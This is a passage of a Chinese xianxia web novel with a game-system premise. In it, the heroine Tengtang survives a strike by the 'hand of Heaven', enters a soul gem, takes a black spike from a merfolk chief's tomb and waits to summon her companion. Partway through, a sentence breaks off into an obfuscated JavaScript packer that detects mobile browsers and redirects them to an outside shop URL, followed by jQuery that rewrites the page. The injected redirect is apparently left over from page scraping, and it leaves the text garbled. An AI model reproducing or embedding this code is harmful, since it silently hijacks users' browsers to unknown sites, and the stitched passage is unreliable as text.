滕棠云里雾里地站在原地,丈二和尚摸不着头脑。 难不成接下来,龙傲天真要和鱼琴在一起?那醉星子怎么办,他和鱼琴用的是同一个身体…… 灵魂宝石已经和灵魂圣殿嵌为一体,体积缩小后,天空黑暗了九成。秘境犹如黑夜,仅蓝岛这一处,亮如白昼。 鱼琴听完龙傲天的回答,忽然视线转移,杀气腾腾地盯向滕棠,伸出手,用食指对准她:“龙傲天,杀了她!” 这次,他用上了人鱼之声,并携带上庞多的精神力,以压制住龙傲天识海中的火龙。 他不仅吩咐龙傲天杀滕棠,还与附近众多修者道:“谁杀了她,我就把珊瑚王冠给谁!” “?”滕棠望向那条面容疯狂的人鱼,心道我怎么就招惹你了,我不过是召唤了几次伙伴,既没叫你救我,也没让你帮我做过事…… 她满脸纠结,不知道使用召唤卡的话,醉星子能出现多久。万一醉星子打着打着又睡了过去,她一个人面对鱼琴,除了死路,还有别的活路可走么? 鱼琴刚说完,忽然眉心剧痛,醉星子的佯魂苏醒,开始和他抢占身躯,以及对识海的操控权。 人鱼之声在蓝岛上盘旋,修者们听完,浑身热血沸腾,被鱼琴调动起好胜心与杀心。 这瞬间,绝大部分的修者都将目光集中在滕棠身上,对珊瑚王冠的渴望犹如实质,一道道贪婪的视线,让滕棠倍感压力。 没有人注意,珊瑚秘境的天空上,出现了一点异常。 龙傲天刚才召下天雷,比他平时召唤的更加厉害,直接从狂海的上空,贯穿海洋,落入珊瑚秘境里。雷霆之力过于巨大,在侵掠空间时,打碎了珊瑚秘境的空域。天空上的那点裂纹开始蔓延,像蜘蛛网般,往各个方向裂去。 与此同时,在狂海上方,那些晚来的天央大陆修者,本因秘境入口关闭而郁郁寡欢,四处寻找阵法痕迹,以期再次打开珊瑚秘境,去寻获里面的宝贝与机缘。 他们用各种法宝护身,在雷域之中穿梭,找着找着,陡然发现天空有异。 “现在什么时辰,天怎么突然黑了?”雷域云层虽多,但不至于多到昏黑的程度。 一名修者抬头,灵眼打开,透过道道闪电,观察黑云压顶的天空,沉思了会儿,猜测到:“许是要下暴雨?” 蓝色珊瑚岛上,滕棠面对上千名虎视眈眈的修者,压力山大。在场不受蛊惑之人甚少,基本待在蓝岛外围,内围只剩李偲缨灵识清明,焦急地想帮她。奈何李偲缨实力低微,身旁的刘仁、刘慈和祁长兰都被蛊惑了,她最多拦住身边三人,带着刘慈他们去蓝岛外围清醒一二,无法为师父提供半点帮助。 “杀了她,我们就能得到珊瑚王冠!” 以龙傲天为首,众多修者齐齐施展法术,向滕棠攻去。 哐啷——,又是一道震耳欲聋的天雷,自天空迅速降落。 若不是滕棠及时穿上矿神金装,开启十秒伤害免疫,恐怕当场毙亡。 这道天雷比之前还要狠,粗如百年楠木,把许多修者的武器灭成了灰。“噗——”,几十个人同时吐血,其他修者见此,不敢贸然上前,对前方那红发男子十分忌惮。 “他是天道之子,可随时引动天雷,不费吹灰之力诛灭敌人,诸位小心,不要靠近他。”一名修者大喊道。 龙傲天旁边站着浮世门和九炼宗的人,他们其中,有两名弟子的武器被天雷毁掉,正满心怨气,怪龙师兄不留情面。 没想到,龙傲天摇摇头,否认道:“方才那道天雷不是我引下来的。” 他和大家一样惊异,为何珊瑚秘境会突现天雷,且雷力惊人,远超他之前召唤的天雷。 难道说,天道知晓他的选择,他想杀滕棠夺宝,然迟迟不能成功,于是天道便助他,降下一道粗如蛟蛇的天雷,将这个身无命字的女子直接灭杀掉? 众人都旁观着,被雷霆之力吓得不敢随意动手,大乘期修者都难接下如此强横的天雷,莫说一个筑基期修者。在他们心中,滕棠必死无疑,已经灰飞烟灭了。 然而,雷霆消失,金光乍现,中央的女子不仅没有魂飞魄散,反而穿着一身夺目的金色铠甲,硬生生挺了下来。 她脚踩白火长刀,一身金甲被雷霆劈过,竟没有一丝破损之处,熠熠发光仿若金乌降世。 有人见状,遮着眼睛问:“这女子是谁?她身上的甲胄可是仙器?” 鱼琴在一旁观战许久,见龙傲天招道极强的天雷,没将滕棠杀死,而其他修者不敢动手,他的面容越发扭曲疯狂。要不是有那可恨的生死契在,他必然亲自动手,诛杀滕棠。 他大喊道:“滕棠身上的金甲力量有限,每次穿上身,仅能护她片刻的时间。龙傲天你还不出手,快召出天雷,将她杀了!其余人等,施展法术,一起灭了她,谁将她真正杀死,珊瑚王冠便归谁!每位助我的修者皆有赏赐,宝物机缘尽情挑选。” 一众修者瞬间变得狂热,神情与鱼琴相似,恨不得杀了滕棠啖其血肉。 在他们动手之际,珊瑚秘境再生变故。天空的裂纹更加明显了,明显到肉眼可见的地步。滴滴海水从缝隙间渗透进来,下起一场海腥味极重的小雨。 秘境之上,狂海上空,雷域集聚滚滚乌云,黑压压的犹如子时深夜,伴随阵阵雷声响起,云层中的闪电变得更加狂躁。 这时,一只隐形的巨手破开雷云,伸进波澜起伏的狂海。 那只手庞大如巍峨高山,顶天立地,明明没有实体,穿越雷域与海洋之时,却让那些寻找珊瑚秘境的修者感受到了它的存在,并惊悚得心跳停止。 隐形巨手只锁定了一个目标,它穿破云层与狂海,打碎空间的界限,陡然出现在珊瑚秘境的蓝岛上。 龙傲天一直开启着玄眼,因此在巨手出现时,他第一个发现。整个人在人群中浑身一绷,如临大敌,直到他读取到巨手的名字——天道之手,才松一口气。 他看不到天赋之字与命字,却知这只手不会害他,因为他是天道之子,天道出手,必然是为了帮他。 但有谁值得天道亲自出手?即使渡劫十层的修者,天道想灭他,直接降落最厉害的雷龙,何须大费周章地化一只巨手,插入俗世人间。 滕棠御行长刀,站在人群中间,靠着万物识别系统,发现自己头顶出现了一个绿色标识:[天道之手▽],点开后,只有四个字作解释:[天道之手:此界无敌。] 她错愕在当场,钝圆的眼睛大睁。当她发现那个标识离自己越来越近,并且携带极强的灭杀之意,她免不得心生一种无力感,她做错了什么?竟引天道插手人间,要亲手灭她。因为自己不属于这世间之人么? 面对[此界无敌]的力量,她能做出什么反抗? 可惜了她的几位伙伴,被系统强行绑定过来,要倒霉地和自己一起死去。 想到伙伴的命还在自己身上,滕棠心中忽然生起一股力量。她忿忿不平站在白火大刀上,御使两把飞刀,不甘地向巨手飞去。 “她……看得见?”龙傲天低声喃喃,不知道是在问戒指中的师父,还是问他自己。 两把弯刀对无形的巨手根本没有影响,空中的伤害[-999……]可以忽略不计。 那只手捏向滕棠的头,像是在捏一只蚂蚁。拇指与食指并拢,用力一碾,可怕的力量爆发,让秘境空间裂得更开,随时可能崩溃。 龙傲天全神贯注地看着巨手,对于滕棠的死,心里隐隐兴奋。 出人意料的是,巨手的拇指与食指捏了半晌,并没有将女子的头碾烂。 滕棠的头本来已经扁成纸片,意识全无,却在一瞬间膨胀起来,恢复了原来的样子。这个过程之快,快到滕棠自身都没注意到,还在绝望地想,我要被天道捏死了…… 九重云霄之上,天道惊骇。他这只偷偷插入凡界的手,竟然捏不死一介筑基凡人!她识海里的……到底是什么东西! 下一刻,滕棠的头爆发强烈的彩光,炙烤得巨手直接消散,再无一丝毁天灭地的气息。 滕棠的视野忽然清晰起来。她的头转来转去,始终没找到那个很大的绿色标识。方才发生的一切仿佛是她的幻觉,如果没收到系统提示的话…… 她脑子里,游戏系统弹出数个红色方框。 [f@a¥olj&……] [警告!检测到黑客正在攻击,导致游戏数据出现乱码。] [扫描中……] [扫描完成,正在修复……] [已修复] [重启游戏中……] 滕棠装备全无地落在地上,震惊得无以复加,以至于忘记,她此时还处于四面楚歌的险境。 “我要去帮我师父。”李偲缨望着那些想杀她师父的修者,切齿愤盈。她想上去帮滕棠,但被清醒过来的祁长兰阻止。 “你上去是添乱、是送死!”她不希望失去这根好苗子。至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032731|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滕棠,死不死都没有关系。 鱼琴调动灵魂宝石之力,勉强稳住濒临破碎的空间。他将几条巨大的裂缝修补好,再次使用人鱼之声,蛊惑蓝岛上的修者:“秘境没有问题,你们快杀了她!杀了她,她身上的宝物便是你们的!” [叮!重启成功] 游戏系统的声音,让滕棠感天动地。热血岁月不仅帮她消灭了天道之手,还给了她活下去的希望。 她当即打开背包,把最后一张强制召唤卡用掉,将醉星子召唤回来。她不求老天保佑了,她求热血岁月保佑,醉星子能一直保持清醒,不要再让鱼琴出来。 灵魂宝石附近,双眼充斥血丝的人鱼陡然消失,下一秒现身在滕棠身旁,墨蓝的长发随风舞动,耳朵边缘的鳍、青蓝色的鳞渐渐退隐,鱼尾变成一双被暗蓝黑纱掩盖的人腿。 醉星子甫一出现,便掐起手式,对众人道:“谁敢杀她,我便杀谁。” 上下三排鱼牙消失后,他的嘴巴恢复正常,出口之言所含的精神力,没有蛊惑之意,而是威慑,令那些浑身杀气的修者一怔,俱皆回过神来。 “?”他们有的在施展法术,有的在御使武器,心中的贪婪没有消失,只是碍于强者威压,不得不中断体内灵力。 什么情况?刚才不是说谁杀了那个女人,谁就能拥有珊瑚王冠么? 这条人鱼怎如此善变! 在场唯龙傲天看出其中端倪,他眼中的名字、天赋之字、命字已经消失了,出现一串令人费解的尊称。 醉星子太强,他未动手,正摩挲指戒,思考刚才发生的事,以及怎么让鱼琴的灵魂重新出来。 天道为何出手?出手后只是碰了下滕棠,就回去了?这其中的寓意为何?他原以为天道出手,是为了帮他……龙傲天揣测半晌,始终没弄明白天道之意。 “醉星子,你可以保持清醒,不让鱼琴出来么?”滕棠焦急问道。 醉星子自知佯魂不稳,容易被鱼琴偷袭,失去对幻身的控制。他扶额点头,对滕棠快速传音道:“进墓海之后,寻鱼琴海碑与尸身,取他眉心那根刺,再召唤我。” 话毕,他双手结出极其复杂的印,打开灵魂宝石,把滕棠送了进去。 “啊这,我……”滕棠来不及发表感言,身体便融入到蓝色宝石中 做完这些,他盘坐在灵魂宝石之上,十指交叉置于腹前,一边与鱼琴的灵魂对峙,一边守在墓海门口,静等滕棠的召唤。 蓝珊瑚岛上的修者,全都安静下来,不知该干什么好。滕棠不见了,人鱼族长大变模样,变得愈发像个人,且言而无信,把他刚才许诺的好处当成狗屁,再也不提珊瑚王冠之事。 他们打不过坐拥灵魂宝石的鱼琴,又无安全之地修行。海里全是尖牙利爪的人鱼,时不时上岸偷袭他们,这次的秘境之行委实让人憋屈。 一时之间,众多修者陷入了迷茫。 龙傲天不断询问戒中师父的意见,李谡始终摇着头道:“你再试试唤鱼琴的名字。” 于是他开始一声接一声地呼唤鱼琴,成为蓝岛上唯一的噪音。 “鱼琴!鱼琴!鱼琴!鱼……” 奈何岑云岭闭着双目,耳听八方,对他的声音没有任何反应,不动如山地盘坐着,几乎固化成了石人。 狂刀门的兄妹,在看到滕棠被鱼琴送入灵魂宝石后,露出担忧的神色。 “偲缨姐姐,滕姐姐没事吧?那人鱼族长是不是杀了她?他们到底有什么仇?之前在骨殿内,龙傲天踏入第十圈坛时,出现了一道人鱼幻影……” 李偲缨听完他们的讲述,摇摇头,表示没看懂现在是什么情况,只能心下猜测,师父和鱼琴有过爱恨纠葛。从师父强抱强亲的表现来看,师父下凡或许是为了鱼琴,然而鱼琴心中有恨,恨到想杀了师父,却不敢自己动手,在众人真要杀师父时,他心软了,想囚禁师父?! 李偲缨越想越歪,突然没那么紧张了,微不可闻地松了一口气,安慰刘仁和刘慈:“我师父很厉害的,她肯定不会出事。我总觉得她和那人鱼认识,或许是人鱼爱而不得,由爱转恨,等人鱼想明白了,自然会把我师父放出来。” 如果师父多给她一张召唤符就好了,她现在就可以帮师父摆脱囚爱的烦恼。 “真的无事么?”刘仁刘慈依旧担忧,滕棠姐姐年纪尚轻,不满二十岁,如何认得万年前的鱼琴? 再加上之前在骨殿里,滕棠将鱼琴扑倒,强行亲吻,此番举动非常冒犯人鱼族长,当时的鱼琴明显不喜滕棠,一副要杀她的模样。 他们很怀疑,今日鱼琴之所以针对滕棠,是因为那日骨殿之事。 “真的!”李偲缨五指并拢,向天发誓:“我师父乃天上仙子,区区一条人鱼,奈何不了她。” 刘仁无言,刘慈敷衍笑道:“我信偲缨姐姐,我们便在此等候吧,注意那些海中人鱼,莫要被咬到。” 旁边听了许久的祁长兰呵呵笑了一声,倒没觉得李偲缨在胡诌,而是认为李偲缨被滕棠骗了。 要是那五灵根的女子如此厉害,还会让徒弟戴着面纱,躲万丹山的人么?或者在听到鱼琴命令众人杀她时,露出那样惊慌的脸。 不过那女子确实有了不得之处,比如她身上的金甲,竟然能挡上千强者的合力一击,以及可怕的雷霆之力…… “你笑什么!”李偲缨不满道。 祁长兰脸上的笑容不变,摇摇头:“你太天真了,那女子机缘巧合之下得到一些宝物,筑基仙丹、传送符、仙甲,这些拿出来确实唬人,骗骗你这种年轻小孩尚行,可骗不了我这种历经风霜的长者。” 李偲缨纳闷不已,犟起脾气,非要说服祁长兰:“我师父才不止这三样宝物呢。你说是她捡到的,仙器随便就能捡到么?即使踩了狗屎运,没有实力,能护住这些法宝么?想当年,我年满七岁,我母亲送我一件上品灵器,形似玉佩,名为……” 她提起小时候,又变得啰啰嗦嗦,事无巨细地开始讲自己的生活、修炼方式与亲朋关系。 这些家长里短,祁长兰实在听不下去,插话补充:“不提你师父那些法宝了,我给你说说鱼琴是什么样的人鱼,他绝对不可能认识你师父,更别提爱上你师父。据旧籍记载,鱼琴为人孤僻,整日闭关岛上养蚂蚁,他不喜人族,一生未曾结交过人族友人。” 李偲缨立即反驳她:“书都是人写的,这些事是否为杜撰,谁知道呢。” 两人争论许久,没一个让步。最后是寡言少语的刘仁,出来劝阻:“好了好了,二长老、李师姐,莫讲这些了,我听到异响,许是人鱼遗影上岸,我们该戒备些……” 蓝岛上,不止他们在讨论滕棠和鱼琴的关系,其他人亦在讨论,众说纷纭,越说越离谱,最后得出的结论竟和李偲缨差不多。 龙傲天立在岑云岭面前,依旧不停地喊着鱼琴的名字,希望对方重新出现。 “徒儿,你一直叫他名字作甚?”他浮世门的师父问。 “师父不用管我,我只是试试他有无反应。” 龙傲天喊鱼琴名字的时候,有听见旁边的议论声。他的想法和众人不一样,他不认为滕棠和鱼琴认识。 这两个八竿子打不着的人,怎么可能发展出爱恨情仇。 不过,鱼琴体内的另外一个灵魂就不好说了……滕棠身上的神物必有古怪,或许像他戒中藏着李谡的灵魂一样,她神物之中,藏着其他强者的灵魂,然后那个灵魂发现,他可以占用鱼琴的身体,于是诱导滕棠来到珊瑚秘境…… 仔细想想,这是一个很正确的猜测,他见过的所有无命字之人,皆和滕棠有关。说不定滕棠身上无命字的原因,是因为那个大能的存在,对方能抹去神物的波动,能遮掩玄眼的窥视。 那天道出手,是为了杀死那个大能的存在?或者将滕棠身上过于强横的神物收回?不对,那个大能没死,现在正占据着鱼琴的身体,且滕棠不像有事的样子,身上法宝消失须臾,再次出现了。 为何……为何要这样做,为何不让我一帆风顺地……等等,难道是因为我过得太一帆风顺,因此天道觉得我历练不够,要给我的考验加上砝码?而滕棠与她身上的秘密,便是我的考验?龙傲天茅塞顿开,转念想通了许多。 世间能成事者少,无不是从磨练中走出来,宝剑锋从磨砺出,他需要更厉害的对手、更强的阻碍,才能化身为天下无敌的无烬神龙。 我不能让滕棠与她背后之人顺遂!龙傲天望向灵魂圣殿,那上方盘坐的男子正大肆释放威压,令在场修者不敢轻举妄动。 他把滕棠送入灵魂宝石,一定图谋着什么宝物,而珊瑚秘境最重要的宝物只有一样——珊瑚王冠! 想到这儿,龙傲天面庞严肃,再次开始大喊:“鱼琴!鱼琴!鱼……”一声比一声响亮。 岑云岭耳听八方,有一方极为吵闹,吵得他心烦。但他不能动手,否则会暴露他无法使用灵魂宝石这件事。 到时候,事情会变得非常不利,他和这些修者交起手来,极易被鱼琴寻到机会,被对方抢占晃动的识海。而墓海中的滕棠,会被鱼琴针对,受到阵法的镇压,困在墓海内,直到老死成一抔烂泥。 他坐在这里,便是在赌,赌这些人不知详情,不敢对他出手。 一天,两天……时间渐渐过去。 岑云岭有些坐不住,灵魂海洋虽大,但有海带和海碑作指引,想要找到里面的几处海墓,应该不算难。 只要滕棠找到珊瑚石碑,便能找到鱼琴的尸身。但滕棠到现在还不召唤他,可是在里面迷失了方位? 她现在在哪儿,有没有发现海碑的排列规律…… 灵魂宝石已经嵌入王冠,他现在不能进去,否则大阵重列,佯魂和幻身会被镇压得更加厉害。 在思虑之中,岑云岭的识海略微不稳。 灵魂宝石,墓海。 滕棠掉入灵魂海洋后,出现在浅蓝色的海水中。她身上有个泡泡,是醉星子在最后时刻丢给她的东西。 有了这个彩色的泡泡,她可以呼吸,不受深海的水压。 滕棠谨记他最后的传音,一下沉到深色海域,开始四处搜寻鱼琴的尸身。 泡泡下面是细密的金沙,沙子里藏着绿色的球,好似蛰伏的青虫。 滕棠一路往前,穿过金沙之地,来到一片海带丛林。 绿油油的海带在灵魂海洋中摇晃,中间有座高耸的蓝色石碑,下方躺着一具人鱼尸体。 等滕棠走近阅读,发现这是一位人鱼族长的墓穴,这石碑是她的墓碑。 不是鱼琴的……滕棠推着泡泡,从旁离开,进入另一片茂密的海带丛林。 一盏茶之后,她发现了规律,有海带的地方,必有石碑,其下方会有一具历久不腐的人鱼尸身。只要她不停搜寻海带丛林,总能找到鱼琴的墓碑。 宽长的海带,在微弱的水流里招摇,卷曲的形状,让滕棠想起了醉星子的头发,也如这些海带一般,顺滑优美。 她推动泡泡,在海底到处寻找。灵魂宝石内的海洋深而宽广,她无法做标记,半个时辰下来,确实迷了路。 直到飘了一个时辰的时间,滕棠才想起自己有地图功能…… 她在脑子里打开游戏界面,看到灵魂海洋的地图时,忍不住拍额头,自言自语:“我怎么突然间傻了,忘记这件事。” 羊皮纸上,标有十几个倒三角符号,点开后,上面写着谁谁谁的海墓,其中鱼琴的海墓离她最为遥远。对方的海墓在最西位置,而她一直在东边打转。 “还好有地图……” 在地图上点好[鱼琴海墓]的位置,滕棠点击[自动寻路],整个人放松下来,一直跟着光标前进。 努力推动泡泡,一路上,她遇到好几个墓碑,皆是蓝色的,上面刻着金色的文字,叙述这任族长的丰功伟绩。 滕棠没停歇片刻,对于路过的海墓,仅是看一眼便收回目光。 她顺着光标的方向,努力地推行彩色泡泡,花了一个时辰,终于来到西边,抵达鱼琴的海墓。 深长的海带森林里,立着一块十几米高的墓碑,和滕棠路过的墓碑完全不一样。 鱼琴的石墓不如别人的豪华,既矮又粗陋,由坚硬的珊瑚堆砌而成,像是粗制滥造的手工制品。墓碑上面的文字并非刻金字体,而是用蓝色的血液书写而成,字体歪歪扭扭,只写了他名字,未写生平事迹,底下画了几行蚂蚁与一簇鲜花。 滕棠跳了几下,压着泡泡,往下沉,在海带丛林中看见了鱼琴的尸体。 不似其他族长双目紧闭,面容安详。鱼琴死时一定非常痛苦,滕棠能从他脸上看到不甘的神色。 他的长相有点超出滕棠的意外,滕棠原以为他很丑陋,当初的容貌是为了蛊惑自己,幻化而成的。没想到,她最初见到的样子,才是鱼琴真正的样子。 雌雄莫辨的身体,和第一次见到的水中幻影一样,美丽、惊艳,令人看一眼,就陷入进去。他有一头海浪般的卷曲长发,如果脸上没有不甘之色,瞳孔没有收缩,脸上没有血,他朝自己微笑的话,滕棠肯定会大念清心经,以免被蛊惑到。 除了他的表情影响他的美貌之外,还有他眉心的那根刺。 拇指粗的刺,玄黑如墨,插入他眉间,溢出三路血迹。蓝色的血液一路流到他耳鳍,一路流至鼻侧,还有一路流到了下巴,就像美丽的陶瓷娃娃,脸上不小心摔出三条裂纹,成为观赏者的遗憾。 嘶……这一定很痛,滕棠心道。从她的角度看去,那墨色的刺插在鱼琴的眉心,恍如一个漆黑的圆洞。 滕棠难以言喻此时的感觉。都说相由心生,她看鱼琴这幅面孔时,总觉得他纯真美好,洁净得跟清澈的海水一样,一眼能看到底。因此,看到他如此痛苦,受到黑刺的伤害,她竟有些难受。 这真的是鱼琴? 进入墓海之前,她见到的鱼琴心怀叵测、狰狞邪恶,类似于她之前遇到的厉鬼和凶煞,只看相貌,便令人不适。而面前的尸体却给她不同的感觉,美丽、可怜…… 可怜之人必有可恨之处!滕棠忽然冷下脸,摇晃了几次头,自己对自己说:“你怎么又被蛊惑了?他要杀你,你竟然觉得他可怜?” 停止胡思乱想后,滕棠推着泡泡,逐渐靠近鱼琴。 她伸出手臂,食指和拇指张开,想去取鱼琴眉心的粗刺。 指尖碰到柔软的水膜,她倏然发现,自己的手指无法穿破泡泡! 滕棠用力戳了戳,泡泡很软地往外凸,韧劲十足。为了早点完成醉星子的嘱托,她只好拿出武器,试着劈砍踢打,心想要是泡泡破了,她就买潜水套装,直到醉星子前来解救她。 然而无论她怎么使劲砍,泡泡会变形,但不会破,一看耐磨度数值,她险些晕倒。这个泡泡真结实,竟比上次在白色深渊中的那个还难打破,耐磨数值是其百倍有余…… 这怎么取?叫醉星子自己来取? 然后她点开背包,几次拉到底端,找了又找,心里其实想起一件事,只是不敢承认。 她最后一张强制召唤卡用完了,得等一个月!完了! 73. 第 73 章 在泡泡里沉思了一会儿,滕棠抱着侥幸心理,打开伙伴栏。 强制召唤卡,只在伙伴状态异常的情况下使用,如果醉星子现在的状态正常呢?她是否可以进行普通召唤,将人直接召唤到身边? 在滕棠这么想时,她已经点了第四格问号下方的[召唤]二字。 [你每日有三次召唤伙伴的机会,正在召唤醉星子……] [你的状态异常,是否使用“强制召唤”卡,召唤醉星子到身边40秒。(提示……] 滕棠反复看了几遍,确认自己没看错。 不是醉星子状态异常?而是我状态异常?滕棠懵住,这是她无论如何都预料不到的情况。 她以为进入灵魂宝石后,会很顺利,没想到处处碰壁,现在既无法召唤醉星子,又无法快速打破泡泡,取到那根黑刺。 她趴在泡泡底部,和鱼琴脸对脸,对方的表情很痛苦,她的表情也很痛苦。 还记得进入蓝宝石前,醉星子嘱咐的顺序是:先取刺,然后再召唤他。 滕棠肯定会按照他的要求来,可是她现在很纠结。泡泡的耐磨度极其高,原本她砍下来了一点点数字,可是没多久,泡泡又恢复了耐磨度。 虽说只要她不停挥刀,每日挥刀上万次,使伤害速度大于耐磨度恢复速度,一日复一日,一定能让耐磨度长条变短。可她不敢保证,自己能在一个月时间内,打破这个泡泡。 到底该怎么取刺?醉星子急着把她送进来,这方面什么都没说。 食指点了点软乎乎的水膜,滕棠静下心来研究。万物识别系统很低级,只给出简略信息。 [醉星子的泡泡:吸取人鱼墓海的力量,形成生机水泡,可供陆地生灵呼吸、吐纳海中灵气。] 她反复读着这段描述,若有所思。 人鱼墓海内,灵气稀薄,海水非真实存在,而是由庞多的精神力幻化而成。 泡泡吸取的力量应该是精神力,在某种独特的法术或者阵法下,凝成实物,为她提供生机空间。 如果灵力不能突破壁障,那精神力呢? 滕棠摸着水膜表面,识海中灵台旋动,用精神之力探进半透明的彩色球体。 然后她发现,软如面团的彩色泡泡壁,并非严丝合缝,里面含有很强的法术波动。几丝隐匿的灵力在空隙之间游走,为她隔离外面的灵魂海水,以免被精神之海冲溃灵台。 现在不用醉星子说,她也知道怎么做了。 滕棠调出更多的精神力,融入水膜之中,从那些缝隙渗透出去,一点点伸出泡泡外层。 很快,在不打破泡泡的情况下,她的精神力丝丝缕缕地穿过彩色灵昀,来到鱼琴的尸身上方,与灵魂海水融为一体。 她顿时欣喜,慢慢操纵着几丝细弱的精神力,绕向鱼琴眉心的黑刺,而后一拉,将墨黑锥针完全拔-出来。 被精神力缠着的黑刺,在灵魂海洋中缓慢飘浮,摆动方向和周围的海带一致。 滕棠不由自主地盯着它瞧,眼珠随着它的摆向左右移动,目光逐渐失去焦距。 她脑子一片空白,什么想法都没有,呆呆愣愣的,整个人变成一具雕塑。 “哗咕…咕噜……”几声怪异的水声响起,随后系统的提示音跳出来:[网络已断开] [网络连接中……请稍后。] 突兀的声音拯救了她,将她的灵魂意识给唤醒。 滕棠扶着头晕目眩的脑袋,不敢想,要是没有系统,没有水里的异响,她会被这根针害成什么样子。 醉星子为何不提前告知她这些风险?滕棠皱眉,随后想到醉星子的状态,又松开了眉梢。 醉星子的命与自己连在一起,不可能害她。多半是因为鱼琴的原因,他来不及和自己说。她记得,醉星子送自己进来时,语速很快,结手印的动作很急切。 她不该以恶意的角度去揣测醉星子,游戏伙伴因生死契的缘由,比这世间绝大部分的人都值得信赖。 滕棠自省了一番,头始终侧着,不敢直面前方被精神力缠住的黑刺。 失去伏魂刺后,鱼琴的尸身像打翻的碗,导致附近的灵魂之海扭曲,一会儿无形,一会儿有形。 等到灵魂之海归于平静,扭曲之象消失,滕棠往下面一瞧,发现鱼琴的尸身不见了,变成一堆珊瑚与海带。 这时她才想起,找到墓碑后,她还没有见过鱼琴的标识。墓碑及其周围的标识全是黑色的,写着各类珊瑚与海带的名称。 鱼琴这具尸体是假的?是幻象?她满脸疑惑。 [叮!“天降红包雨”回馈活动即将上线!] [尊敬的玩家,系统将于6月20日为全服发放红包。当日上线的玩家,皆有机会被红包砸中!‘查看详情’] 滕棠埋着头,呆傻了会儿,粗略看完游戏新活动。 这次的活动听起来很好,什么“红包雨”、“上线有机会被红包砸中”,但滕棠已经不是当初那个滕棠了,没有上当受骗。在她看来,这次活动显得如此之好,反而是一件坏事。 系统的羊毛,要多难薅有多难薅,这种白送的奖励,一般出现在签到与成就页面。现在突然搞个回馈活动,很大概率意味着,狂海即将发生什么大事,意味着她想参加新活动,就得再次走上死亡钢丝。 且6月20号,恰好是一个月后……滕棠对这个时间很敏感,因为她的强制召唤卡刷新时间,也是一个月后…… 难道说,这次大事是自己引发的?或者醉星子引发的?她使用强制召唤卡后,会发生什么事? 滕棠心中惴惴不安,一会儿拧眉,一会儿狂摇头。 “别想太多,一个月后再说,走一步看一步。”她自言自语道。 片刻之后,她的注意力被躁动的水流吸引。 远处的灵魂之海依旧平静,黑刺被精神力缠着,飘在她的身后。可奇怪的是,彩色泡泡附近的海水很不正常,东摆西荡,彷如杯子里摇晃的酒,在鱼琴墓碑附近逐渐形成小型旋涡。 滕棠的眼睛睁大,看着底下宽长的海带突然拔高,无声无息地长成六米高的巨柱,差点将她的泡泡挤扁。 就在她准备调动灵力,推动泡泡往上漂浮时,海水流动的方向发生变化,将她送了回去。 随着海水的流动、旋转,又长又宽的海带开始舞动,发出“哒嗒哒嗒”的声音,不断打击鱼琴粗陋的墓碑,将那些珊瑚枝拍飞、打碎,再也看不见歪歪扭扭的血字。 没过一会儿,情况又有变化,万千海带倏地蜷缩成球,往回收。底下仿佛有无数双手在拉扯,大约半分钟的时间,鱼琴的墓穴就变成光秃秃一片,看不到半截深绿色的海带。 那些海带缩回去后,滕棠下方只剩金色的沙子,以及残损的珊瑚枝。从上往下看,这里不像人鱼海墓,更像一处废弃已久的沙滩,许久不被人踏足。 她警惕地观察周围,直至确定再无异常后,才缩短精神力细线,缓缓拉着那根黑刺靠向泡泡。 期间,滕棠尽量避开视线,不让自己被黑刺催眠,以免发生断网的情况。通过精神力感知,黑刺已经接近泡泡边缘,她没来由地一阵紧张。 就在这时,她发现这根刺特别邪乎,前端还没挨到泡泡壁,就将水膜上的灵昀给刺薄。包裹她的泡泡薄了一层,空间内的生机一下被抽走三成。 滕棠立刻用精神力拉开黑刺,将其放在一芽珊瑚上,再也不敢乱动。 等有召唤卡的时候,再把它捡起来,递给醉星子大佬吧,她沉默地想着。 坐在泡泡之中,望向平静澄澈的海水,滕棠发起呆,不仔细瞧,她恍惚以为自己身处在宽广的空间里,那些海带只是摆设,周围没有灵魂海水,全是空气。 百无聊赖地坐着,滕棠谨慎地等了好一会儿。 鱼琴的墓穴毁掉后,灵魂之海平静得可怕,连一丝波动都没有。打开地图,上面还是老样子,只标注了十几个墓穴,没有亮起boss专属的红点。 似乎没什么危险,可以在此修行,她思索着。 双腿盘起,滕棠坐在泡泡中间,开始调用系统灵力,在体内循环大小周天。 一日复一日,她在墓海中静心修行,等着商城刷新。而灵魂宝石外面,醉星子坐卧不宁、忧心如焚,一直在等待她的召唤。 这段时间,蓝岛上的修者,尽皆徘徊于灵魂圣殿附近,既不能专心修行,又不能随意走动,过得十分煎熬。 通过传音石得知,其余四座珊瑚岛晦暗无光,已无一人存活。现在只有蓝岛是安全的,不仅有蓝色的宝石光芒照耀大家,还能震退人鱼遗影、人鱼幻影,保护他们少受攻击。 “你御空而行,速度极快,眨眼就能到那片彩色珊瑚海,为何不试一试?出口就在那边……”劝人尝试的修者还未说完,便被愤怒的声音打断。 “呵,你想送死你去!我才不蠢,上你那当!”被劝者冷然一笑:“之前那几个飞离蓝岛的家伙,若真出去了,早搬救兵进来了,然而他们既没带人归来,也未用传音石传告消息。” 经过这段时间的煎熬,修者们心烦意燥,难免发生摩擦。有不少人不敢前往珊瑚秘境入口,便怂恿他人前去,但在场之人都不傻,见前面几个出去的人毫无消息,都克制着内心的狷急,继续待在蓝岛。 九炼宗、浮世门与万丹山的人则另有打算,他们聚在一块儿,近些时日,总抬头望向天空。上方一片昏冥,不知他们在观察什么。 灵魂宝石内。 精神力所幻化出的海水,上半边是浅蓝色,下半边是藏蓝色,像油和水一样分层明显,互不交融。 滕棠在这里面修行了几日,忽然想起,自天道之手消失后,她一直忙着活命、完成醉星子的嘱托,还未查看过游戏系统。 当时在外面,具体发生了什么事,她印象模糊,更不知为何会遭到天道的灭杀。唯一知晓的是,热血岁月救了她的命,替她清除掉天道之手。 